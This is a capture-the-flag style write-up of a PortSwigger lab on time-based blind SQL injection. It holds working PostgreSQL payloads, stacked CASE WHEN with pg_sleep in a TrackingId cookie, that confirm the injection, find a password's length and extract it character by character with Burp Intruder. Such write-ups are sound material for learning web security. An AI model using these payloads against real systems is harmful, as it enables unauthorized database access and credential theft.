Blind SQL Injection — Time-Based Extraction¶
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Vulnerability | Blind SQL Injection — Time-Based |
| Difficulty | Practitioner |
| Injection Point | TrackingId cookie |
| Goal | Extract the administrator password using conditional time delays |
Phase 1 — Reconnaissance¶
This lab is the most restrictive form of blind SQLi. Every technique tried returns HTTP 200 with no observable difference:
TrackingId=cookie' -- -
TrackingId=cookie' order by 1,2,3,4
TrackingId=cookie' or 2=1 -- -
TrackingId=cookie' or 'a'='b' -- -
TrackingId=cookie' union select null,null -- -
All return HTTP 200 — no boolean difference, no error reflection. The only remaining channel is time.
Phase 2 — Attack Path¶
Step 1 — Confirm Time-Based Injection and Fingerprint the DB¶
Cookie: TrackingId=cookie'|| pg_sleep(10) -- -;
The response was delayed by 10 seconds — injection is confirmed and the backend is PostgreSQL (pg_sleep is PostgreSQL-specific). No other database engine uses this function name.
Step 2 — Build a Conditional Time Delay¶
With time delays confirmed, the delay can be made conditional on a SQL expression. If the condition is true the server sleeps; if false it responds immediately. A URL-encoded semicolon (%3b) is used to stack a second query — pg_sleep() must run as a standalone statement, not inside a SELECT expression column:
TrackingId=cookie'%3b select case when(1=1) then pg_sleep(8) else pg_sleep(0) end -- -;
Response delayed — conditional logic works.
Step 3 — Confirm the Target User Exists¶
TrackingId=cookie'%3b select case when(username='administrator') then pg_sleep(8) else pg_sleep(0) end from users -- -;
Response delayed — administrator exists in the users table. Confirming a non-existing user produces no delay:
TrackingId=cookie'%3b select case when(username='test') then pg_sleep(8) else pg_sleep(0) end from users -- -;
No delay — user does not exist. The true/false timing difference is confirmed and reliable.
Step 4 — Determine Password Length¶
TrackingId=cookie'%3b select case when(username='administrator' and length(password)=20) then pg_sleep(8) else pg_sleep(0) end from users -- -;
Response delayed at length(password) = 20 — the password is exactly 20 characters long.
Step 5 — Extract Password Character by Character¶
TrackingId=cookie'%3b select case when(username='administrator' and substring(password,§1§,1)='§x§') then pg_sleep(8) else pg_sleep(0) end from users -- -;
Using Burp Intruder — Cluster Bomb attack:
- Payload 1 (position
§1§): numbers 1 to 20 - Payload 2 (character
§x§):a-z+0-9
Critical: In the Resource Pool tab, set Maximum concurrent requests to 1. Time-based attacks require strictly sequential requests — if requests run in parallel the timing measurements become unreliable and results will be wrong.
The Response received column in Intruder shows which requests took longer — those are the correct characters for each position.
Password recovered: cjgyl5flxtcwlfkrgfat
Alternative — Python Automation¶
The same brute-force can be automated with a Python script. It iterates through every character position (1 to 20) and for each position tries every character in a-z + A-Z + 0-9. For each combination it sends a GET request with a crafted TrackingId cookie containing the CASE WHEN + pg_sleep payload and measures the elapsed response time. If the elapsed time exceeds 3 seconds, the condition was true — that character at that position is correct. It appends the character to the recovered password and moves to the next position. Progress is displayed in real time using pwntools log bars.
Conclusion¶
- All standard blind SQLi probes returned
HTTP 200with no observable difference — boolean-based and error-based techniques were both ruled out. pg_sleep(10)via string concatenation caused a 10-second delay, confirming injection and identifying PostgreSQL as the backend.- Stacked queries via
%3benabledCASE WHEN (condition) THEN pg_sleep(8) ELSE pg_sleep(0) END— true condition sleeps, false condition responds immediately. - User existence and password length (20 chars) were confirmed via conditional delays.
- Cluster Bomb Intruder with
SUBSTRINGacross positions 1–20 and charseta-z+0-9, with concurrent requests limited to 1, recovered the full password:cjgyl5flxtcwlfkrgfat.